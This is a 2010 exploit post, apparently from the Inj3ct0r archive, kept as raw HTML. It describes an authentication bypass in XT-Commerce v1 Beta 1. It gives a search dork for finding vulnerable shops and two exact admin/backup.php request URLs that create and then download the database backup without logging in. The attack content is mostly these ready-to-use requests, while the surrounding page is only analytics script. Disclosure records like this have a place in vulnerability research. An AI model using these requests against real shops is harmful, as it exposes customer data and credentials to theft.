XT-Commerce v1 Beta 1 => by Pass / Creat + Download Backu
Posted on 29 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>XT-Commerce v1 Beta 1 => by Pass / Creat + Download Backup Vuln</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================================== XT-Commerce v1 Beta 1 => by Pass / Creat and Download Backup Vulnerability ========================================================================== ======================================================================================== | # Title : XT-Commerce v1 Beta 1 => by Pass / Creat and Download Backup Vulnerability | # Author : indoushka | # email : indoushka@hotmail.com | # Dork : Powered by XT-Commerce | # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) | # Bug : Backup ====================== Exploit By indoushka ================================= # Exploit : http://127.0.0.1/XT-Commerce/admin/backup.php/login.php?action=backupnow to download buckup :http://127.0.0.1/XT-Commerce/admin/backup.php/login.php?action=download&file=db_comm-20100301222138.sql db_comm-20100301222138.sql chang it to the name of the backup and you cant download it with IE i download it with opera 10.10 + Mozilla Firefox # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
